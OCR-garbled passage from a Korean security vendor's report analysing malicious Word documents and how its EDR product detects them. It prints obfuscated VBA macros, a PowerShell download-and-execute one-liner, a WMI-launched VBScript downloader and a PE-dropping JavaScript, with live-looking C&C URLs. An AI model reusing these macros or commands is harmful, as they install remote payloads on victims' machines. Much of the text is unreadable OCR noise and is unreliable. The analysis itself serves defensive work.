A0 2MYE AHTES XS MaliolH MS-Office HOF HA0| 2t VBA Macro Mg x|t

floll SAX= =49 A HOIXE 22ty =H7t LMist AXEH HoIRLE S4Xt= 0|2 Solf 34 0|

UNMOZ [REHIX AIR] HES 22l 512 510, 2t VBA Macro 7 S&Hat 4= QI 2 Q5L

4.5.2 24 VBA Macro £4 (1)

Private Sub Document_Opent )

asfwefsadfasfsadf

asfwafasfsdafas

gifhhdfasf iedf

End Zub

[O2 29] 2M3 otMTFE L 24 VBA Macro

NBEE UG 20l & 4 QlCt 0]

=X T E L] VBA Macro £ &QI5HH Document_Open Of1E 27t
Macro = 2A17t 22 2 0 M3z, 2 X O 2 [asfwefsadfasfsadf], [asfwafasfsdafas], [eifhhdfasfiedf] 2t

HAch= A2 L+ UL Anti-Virus MZEQ H& 24 235/2F

A 24710 0HZS ?loll 71E2| Macro & H=2t of Z10|L.
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4.5.3 214 VBA Macro 24 (2)

Function eifhhdfasfiedf()

set difeinfidkaslif = Createdbject("Shell . 4pplication™)
Oim dfgdfjiejfjdsha) Az 2tring

Dim vhihfjdhfdhfuesk{10) &5 String

dfgdfjiejfidshal = "+R+Z+p+R+Z+0+E+Z+W+R+Z+E+R+Z+HM+R+Z+SHR+Z+NHR+ZHR+R+Z+ | +R+Z+ | +R+2+  +R+Z+E+R
dfadfjiejfidshal = Replacel{dfgdfjiejfjdshaj, "+e+z+", ")

vhihfidhfdhfueskil) = "+e+z+[+e+z+5+p+z+t +R4+Z+r+R+2+ [ +RHZHN+E+Z++E+7+] +E+Z++R+T+a+R+Z+=+R+7+
vhihfidhfdhfueskil) = "+e+z+a+p+rz+p+p+z+—+p+z+0+a+7+0+a+2+ [ +E+Z+R+R+7+0+E+Z+T +E+Z+H+p+7+0+E+7
vhihfidhfdhfuesk{2) = "+e+z+p+E+Z+N+E+Z+I+R+Z+ J+R+2+, +R+Z+[+R+Z+0+R+Z+Y+R+Z+R+E+EZ+K+RHIZ+E+R+ZH
vhinfidhfdhfueski{3) = "{ h+e+z+i+a+Z+t+R+Z+p+rE+a+] +R+2+/ +R+Z+/+R+Z+Q+R+Z+U+R+I+A+R+E+ +R+T+E+E
vhinfidhfdhfueski4) = “+e+z+l+p+z+) +p+z+f+p+z+hre+z+=+a+7++0++a+E+Z+ +E+T+I+R+Z+HRE+R+Z+PHE+EH
whihfidhfdhfuesk({5) = "+E+Z+a+E+Z+0+E+ZHRTE+ZH] +E+Z+ +E+ZHYHE+Z+R+R+ZHRAE+Z+E+E+E+ | R+ ZHRYR+EH
vhinfidhfdhfuesk{f) = "+e+z+|+e+z+0+p+z+a+a+z+0+e+Z+3+a++t+a++r+a+z+ +E+2+ J+a+z+) +p+z+l+a+2H

ueijfidfijiewiddkfoi = Join{vhjhfidnfdhfuesk, ""}
ueijfidfijiewiddkfoi = Replace{ueijfidfijiiewiddkfoi, “+e+z+", ""1
difeihfidkas|jf.Shel |Execute dfgdfiiejfidshai, ueiifjdfijiewiddkfoi, "", "open”. wbHide

(12 30] 2M3 oHTE LY Li=stE oM VBA Macro

H=2tE VBA Macro £ HSa/t €25 oiM=l Xl FFS Mo ==

PowerShell 20| $a4=IC}

dfgdfjiejfjdshaj powershell.exe

ueijfjdfijiewjddkfoi [string] $a={(New-Object
Net.WebClient).Doyeksleisling('http://quarez.atwebpages.com/ds/le.txt)};
$b=%a.replace('yeksleisl','wnloadStr');$c=iex $biiex $c

[H 10] =3t L& SiH £ 22Xl PowerShell 3

| 2t9|X0I PowerShell BHS 22151H [ueijfjdfijiewjddkfoi] Bz L [Doyeksleisling] 2t 2XIES &1t

o
9]
= ULk Ol O] Al 2HFON H=217t 85| SiME|H, [DownloadString]0l2t= EAt2 X ==d|

0l= PowerShell HIME 2 MHOM 2ArE 2] dEi= H0|2EE H0IE = U= 7|52 Xe=lh 0|2 Sof
ofolxol Ol 4O  PowerShell 0|  AMED  oloEol  gyom C&C
H(http://quarez.atwebpages.com/ds/le.txt)0fl HZAsH F71HQ1 o} HO|2=E CHR R0 A3HSHT}
4 W WINWORD EXE 1688 33.07 MB WIN-4LHT14B. WUSER  Microsoft Word
EX powershell exe 1276 57.11 MB  WIN-2LHT14B. #USER  Windows PowerShell

Amen LT Anm R

AR AL LT AR LR

"E processHach

. 1 1
"CHWindowswWSystem32%WindowsPowerShel vl O powershell exe” [string]$a={{New-Object Net WebClient).D
oyeksleisling("http://quarez. atwebpages.com/ds/le.txt eplace('yeksleis’, wnloadStr); $c=i
ex $biex $c

D;iex $c

[Z18 31] PowerShell & £t C&C At ¢4 L £t IO|2E CIRZE A:
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ZJpSTe]
)

BA Macro 7t A3E|H, WINW
QIXtZ 0N 24

Ml of
£0[ =7}ot0 HZO|

—

fetCt.

V
N =]

H—Ijl. pS|

=]

H o|X
AN -

A siC

AL

No.31| 20214 11 ¥

ORD.EXE EZ2MA9 XAl Z2 MAZ Powershell.exe Z2M|AT}

Q1 PowerShell HZ0| Aldie]| f. Xz C&C

4.5.4 Privacy-i EDR ¥ SH| 7|5 BX| (MHH| XIZ2/2/M.doc)

4.5.4.1 ©X| JE (exploit.abuse.powershell)

BFE 01F: DESKTOP-2CHLMOS

Az2al exploit.abuse.powershell 'El' WINWORD.EXE
HD0|E: exploit.abuse powershell HEf: M7
THEHTE: somansa HE. ojAZ =gl

L= K|~ 0|0|X| IHE Al : c0ad8lebd5e0279bed503f26f0b01bcedeabfldfbosfcbedfbo3sfasldllldad 31 @

OIZHA 01F: WINWORD.EXE

—

"C:\Windows\System32\WindowsPower

W

gz [ (0 GLIE

> m Suspicious Behavior : exploit.abuse.powershell

> Suspicious Behavior : discovery.acquire.file-time.1

> Suspicious Behavior : discovery.enumerate.file-directory.1

> Suspicious Behavior : discovery.acquire.locales-information.1

> Suspicious Behavior : discovery.acquire.active-window.1
HHE

Shell\wl.0\powershell.exe" [string]Sa={(New-0bject Net. WebClient

[1& 32] Privacy-i EDR %

-1 a

oI E

(0]

-
S S5t 2o

X 7152l 2t PowerShell FAH A HE

o

Privacy-i EDR %4 S 7152 MY AJZEHH XIS22|N.doc)E S8t A4 PowerShell 383
HAots ARIE FUY SHCZ HAOHL UL 2AIZCZ T2 A0 WIS 2LHY &, o PowerShell
dg= St Fd 340 5 & tSats 7SO0l
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4.6 MEt|Xg.doc

4.6.1 Word A Z7|3}H

1) M9 ED B2=E AST 4 UEE #IPLUL. | 2EAAS

Microsoft Office Word HHX S & 28 #2310

BME BARE SRe| "2HUX A2 ISR

A AYIE WS 2 [HEYIXIZ doclets MBS Ar8ol0 28 XI20/2 d2IE ol&st
-

2
x
kU

N 7 A MEH|E XIZSHECHE STl M20) STE s 2AE oy
ABBIICH T ChA0| SMF OMTACE A5 MS-Office HOH M0 W2t VBA Macro A3

=3
=
SAXE 2ME B7| fla =781 [2HIX ALE] HES S2ot=E A H0|XIE 75U 015 Salf 34

2
[HAIO] RILHOR [2HIX AR] HES 528 HOt MMS 28510, o VBA Macro 7t SX3 4 UT=
L5}

Microsoft Word >

Thiz document is created in earlier version of Microsoft Office Word

(23 34] 32 tids £017] I8 1F HIAIR] gfA

rr

ofd VBA Macro 7t &l Al, 71 BX 247t HES YEZ AgHt= 2 HAK 271 EHEH. 0f
t b

ZZAXI}F R SE Macro 9] YEEO|Ct &2

%1 SOMANSA



7t Security Report
No.31| 20214 11 ¥

4.6.2 24 VBA Macro 24

MyCalc = "d2lubWdtdHMGLyBUL3Jwb3dwY2 1tdj 16Y2 luMzJJFUHJWY2Yzow==
Dim Calc &s String: Calc = Decode{MyCalc)

Oim MvWalue As String: MyWalue = "b¥ModGE="

Dim Yalue As String: ¥Yalue = DecodefMyYalue)

Oim MwE=t1 As String: MyExtl = "emlw”

Dim Ext1 As String: Extl = DecodefMyEx=t1)

ImageFileName = " image0dl3. png”

Zet Shell4pp = Createlbject{"Shell.&pplication”)

Zet FileSys = Createlbject("Scripting.Filesystendbject”)
DocHame = ActiveDocument . Mame

[f In5tr{0DocMame, “."3 = 0 Then
ODocHame = Left{OocMame, InStr{0ocMame, “.") - 13
End If

TempPath = Environ{"Temp" ) & "#" & DocMame
CreatedExeFilePath = Environ{"Temp® ) & "#" & ExeFileMame
Call MsgBoxOKCancel

Bl ct iveDocument . SaveAs TempPath, wdFormatHTHL, . , ., . True
Call show

[13 35] H=5tE M AT E L 24 VBA Macro @ wdFormatHTML 211 At

HE5lE 2MY AHTAE L &M VBA Macro = A8 & H=517t SHMIEIH, Q ARRIOIA EolEt 4= Q=
wdFormatHTML Z2{1E QX2 AIRSICH 0| SaveAs &7t SEEH, UAEEH(Temp) ZDE0
[2MH] htm IUS MM wdFormatHTML 211 MS-Office 2A2 ¢ EH2I2X0A 2 4 Q=2

ol

HAEQ} MASS HTML B2 Z3otD, 221 2lAASS XIYE Z20| HIots AS Bict,
« Temp » 79e15cc02c6359cdbB4885T6bB4Tachfa1fedf1254551750dd6421f96998db35 files v | 0

o= - Ha LR 2% 37
|=| colorschememapping.xmil 2021-11-24 2% 527 XML &4 KE
|| editdata.mso 2021-11-24 2% 527 SO O AKB
|=| filelist xml 2021-11-24 25 527 XML 24 KB
& header.htm 2021-11-24 2% 527 icrosoft Edge H 2KB
| image001.png 2021-11-24 2% 527  PNG It 29KB
| image0d02.png 2021-11-24 2% 527  PNG It 433KB
&| imageD03.jpg 2021-11-24 2% 527 JPG Ot E KB
[ themedata thmx 2021-11-24 2= 527 icrosoft Office . AKB

[12 36] [2MH].htm O MEIE MtUDF 22 2|AA

0|X9] ot VBA Macro 7} Alali&

YAIZH(Temp) d20 [EMB].htm 22 MFED, 02 #HE 2A2AS2 [EME] files 220 MHEIC

202, 29t 20| EMY AT HAES MAO| NYE TIE2

[EMY] files 22 W image002.png M2 dH2E= 18 MAZ AFEAXZL, FIPHQI oty HO|ZET}

’

3

LHEEOQULE. I T W HEE g HolzEs YEd OF Do A=z Q133 UL, 0f

O 11—

=g

Jou

QS A

02

=t

- 30 -

#1 SOMANSA




7t Security Report

No.31| 20214 11 ¥

Public Function WiA_ConvertImage(sinitiallmage As String, sOutputlimage As String, Optional [Quality
On Error GoTo Error_Handler
Oim aWl4 &z Object
Oim olP 4s Object
Oim sFormat|D &s 3tring
Dim sExt As String
sFormat 10 = "{B9EBACAB-0723-1103-907E-0000FS1EF32E}"
sExt = "BMP"
If IQuality = 100 Then IQuality = 100
Set oWlA = Createlbject("WIA, ImageFile”)
Set olP = Createlbject{ " WI4&, ImageProcess” )
olP Filters. &dd olP.Filterinfos{ "Convert™).FilterlD
olP Filters(1).Propertiest "FormatID") = sFormat|D
olP.Filters{1).Properties{"Quality") = |Quality
ol 4. LoadFile sinitiallmage

[18 37] image002.png It L QIFH = 2y H0|2E CFY

013 oA VBA Macro = £7HH0l R4S £35H=6|, image002.png TS PNG A0l BMP &A=
2 BMP A0| HIS 124 MY FAlO= M Tt B0 HE MHC =2 A=E 0

L& UE F7HHO|2E9] UF0| Z217| M=Z0|CH oiiF Z0| +lE =

U JavaScript @AIQ| AHTETH W ECE 0|F, VBA Macro = &850 HE =

SHAOZ HMASH 5 QUAIZL(Temp) Z20| XMABICE 01F 0|2 Mshta.exe 2 Aldist=0|, 0] Ij WM| B

o

4.6.3 2} JavaScript & WZ= PE ofY

new ActiveXObject("Scripting.FileSystemObject™);
(477);
e = (484)1(d, ''[D);
e[ (492)1("MZ");
e[ [1':-:.:"]{}
[144, ?, a,

9,0, 0,0,0,0,0,

Path C:/Users/Public/Libraries/AlgStore.exe
Hash 6310cd9f8bbae1fdc1b55fe190026a119f7eab26cd3fc22a215bdab1c9c28214
B 11 220 AgIE MY 22 Y 2
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4.6.4.1 ©X| JE (exploit.abuse.wmi)

No.31| 20214 11 ¥

32 8l 7|5 "Xl (4&H|XIZ.doc)

ZFH 0l§: DESKTOP-2CHLMOS

tie ot

jgwdream_00010 10.103.16.200  exploit.abuse.wmi WINWORD.EXE [ =2 |
H10|&: exploit.abuse.wmi A A7
RISt somansa FEE:

OZH~ 0|&F: WINWORD.EXE

L= HA HE: C\Program Files\Microsoft Office\Office L4\WINWORD.EXE
L= M|~ 0[0|%] oHE sHA| : c0a08letd5e02T9bed503f26f0b01bcedeebf1dfba5fcbedfba35f881d111dald 31 @ &

> E Suspicious Behavior :

exploit.abuse.wmi

> Suspicious Behavior : discovery.acquire file-time.1

> Suspicious Behavior : impact.encrypt.data.l

> Suspicious Behavior : discovery.acquire.account.1

> Suspicious Behavior : discovery.enumerate.file-directory.1

> Suspicious Behavior : discovery.acquire.system-information.6
ol @

hSTH]k A.BRKS-UserWin32_ProcessUserCreate
MECOWsMEK.SE:K.5xV45"sv__ PARAMETERSabstractCommandLinestring7InT*Win32API|Process and Thread
Functions|lpCommandLine MappingStrings)7* ID6Y* stringCurrentDirectorystringlnWin32API|Process and Thread

Data
Functions|CreateProcess|lpCurrentDirectory MappingStrings)+ |D6+
rstringProcessStartuplinformationobjectinLWMI|Win32_ProcessStartupMappingStrings)f DID6f
Dobject:Win32_ProcessStartup=<G__PARAMETERSmshta C:\Users\JEONGG~1\AppData\Local\Temp\image003.zip

(3% 39] Privacy-i EDR FIoHH SH 7|52 WMI Z&2 0183 3o 21 e
Privacy—i EDR #2fF 324 7|52 MY AGAE(dE| Xg.doc)s S A= WMI BES Halsh=
IS Z|oP BHOZ HX|GH UL AAZIOR T2AA0| S BUE 5, o4 WMI YBS S FH
S40 §Xl & tSot=s 7Is0I

- 32 -

%1 SOMANSA



7t Security Report

No.31| 20214 11 ¥

4.7 TMT HeljZ271-20140428.doc
4.7.1 Word X £7| s}

1) HotHR DI3ES MEE + 2EE EEFTSLOL ZHE NS

=|_ Microsoft

47 L3 HsUS

&S B3A2d g8 2AEE FAEIHFAH L.
1. Microsoft Office £H# L2 13L& o] &3] EME Y},
oy BAE el v 1 715 A 4314 gaur,

2. HA3F EE HFoA EME o
BEE TAE 2kl 717164 A delA o4&+ Adsdh

3. M ARl "HAANET BEL FE F FHZE AET & T FAL.

[O3 40] ESE ZM=2 S 58 ofid 182 EMY AHYTE 27| o

He = X2 0l=St 713

Hu
<
o
A >
<
Q
aQ
o
>
OOI'
=
>

ORaAPE [ZEI= ALE] HES A S2otes REotRAt. 22 HEA

4.7.2 WMI B2 S8l Malizl= 24 VBScript

hs = "0On Error Resume Next:3et mx = CreateObject({”"Microsoft.®MLHTTP"" ) mx.open ""GET"", "“http:/
Ui = "regedit.onlinewebshop.net/hosteste/rownload”

hs = Replacelhs, “x=x". Ui}

rp = resp & "#1539989024 . xml”

ActiveDocument .Range.Text = hs
ActiveDocument . Saveds? FileMame:=rp, FileFormat:=wdFormatText

ActiveDocument .Cloze
Set wnObj = GetObject("winmamts:wind2_process”)
Ilivni0bj.Create “wscript.exe ffe:vbscript //b = & rp

(12 41] 2AMS AMHTE LY LHAME 2k VBA Macro
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Path

[%AppData%]\Roaming\Microsoft\Templates\ 1589989024 xm|

C&C

http://regedit.onlinewebshop.net/hosteste/rownload/list.php?query=1

VBA Macro 7t &

0| OFH0= WScript.exe Z2MA L Li&ME VBScript YRS Sal A3y

[E 12] VBA Macro &8 & M= ofN M A2 9 C&C Al HE

AT EX AZ20| 24 VBScript ZEE Zatet XML IHU0| MEEICH HEE I
ICt. 0| mf, [e] =
HO| XML 2 Z0

Script.exe Z2MAZ VBScript YIRS 0|25H AgHE

r&"
|'|O =

Wscript.exe Z2ZHAS Soff MaiT|= CHAF THO| SbAt

2
~
olr
Ol
i
Jhu
ol
=
=

=
F HIAIXIS £26tX| 220t WScript.exe S S8t VBScript 7t 22 tHA0| QIX|SEX| Z28HAEHOf|I A

oH *El%ﬂEI WScript.exe o2 A 2 ot VBScript

4.7.3 WMI B&2

StarthdenuEx=p

RuntimeBroker,

RuntimeBroker,

17152 K Microsaoft Corpaoration

56,445 K

indows B,,,

1660 Microsoft @ W
GOZ0

20712K

Command Line:

wzcriptexe Aevbscript &b CUzersWsomansafAppDatat?Roamin g iicrosoft¥wTemplate s41589959024, xml

FPath:

CEFWIndowsWwISystemIZWwsacriptexe

[ 42] WMI BES Sl A= WScript.exe Z2M|ARL 94 VBScript A&

CmdLine

wscript.exe //e:vbscript //b
[%AppData%]\Microsoft\Templates\ 1589989024 .xm|

WScript.exe £ BN AGIE W 2f4 VBA Macro OfA HEiE WMI BES Sdaff &

Q| &t5t of M VVBScript 7+ VBScript XIS E5H

#! SOMANSA

H 13] WScript.exe ZZ2MAZE S XML &419] VBScript IHY A

Maen] ol #9IZ siCY,
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4.7.4 Privacy-i EDR F2f& S| 7|5 ®X| (1MT A2{§Z71-20140428.doc)

4.7.4.1 ©X| HE (exploit.abuse.wmi)

jewdream_00010  10.103.16200 exploit.abusewmi WINWORD.EXE [ =2 |
A 0|&: exploit.abuse.wmi A AT

EHEHI: somansa HE. oJAZzol

ZAFE 0I5 : DESKTOP-2CHLMOS ZZH~0l5: WINWORD.EXE

L= 4|4~ 00| oh sHA| : c0a08le6d5e0279bed503f26f0b01bcedeebfldfbo5fcbedfba3sfasldllldald 31 @ &

ths 2ot FHE:
> E Suspicious Behavior : exploit.abuse.wmi

> Suspicious Behavior : discovery.acquire.file-time.1

> Suspicious Behavior : discovery.acquire.account.1

> Suspicious Behavior : discovery.enumerate.file-directory.1

> Suspicious Behavior : evasion.bypass.analysis-system.2

> Suspicious Behavior : discovery.acquire.system-information.6
olg

|[TDHo;LbJAfUserWin32_ProcessUserCreateQQMEOWsMK.SE:K.$1xV4S*sv__ PARAMETERSabstractCommandLinestring7InT*Win32API|Process
and Thread Functions|lpCommandLine MappingStrings)7* ID6Y" stringCurrentDirectorystringInWin324P1|Process and Thread
Functions|CreateProcess||pCurrentDirectory MappingStrings)+ D6+
rstringProcessStartuplnformationobjectinlWMI|Win32_ProcessStartupMappingStrings)f DID6f
Dobject:Win32_ProcessStartup<x__PARAMETERSwscript.exe /fe:vbscript //b
C:\Users\JeongGeonWoo_VM\AppData\Roaming\Microsoft\Templates\1589989024.xml

[1& 43] Privacy—-i EDR £|2H EH| 7|52 WMI HEHS 0|28t |k EfX| M2

Data

M BHOR EXGIT ULk Ol #9I 75t BXRA, Az

— o
BUER 3t % o WMI ZS S5t HoH T200) 2R 2 thSate J150IC,
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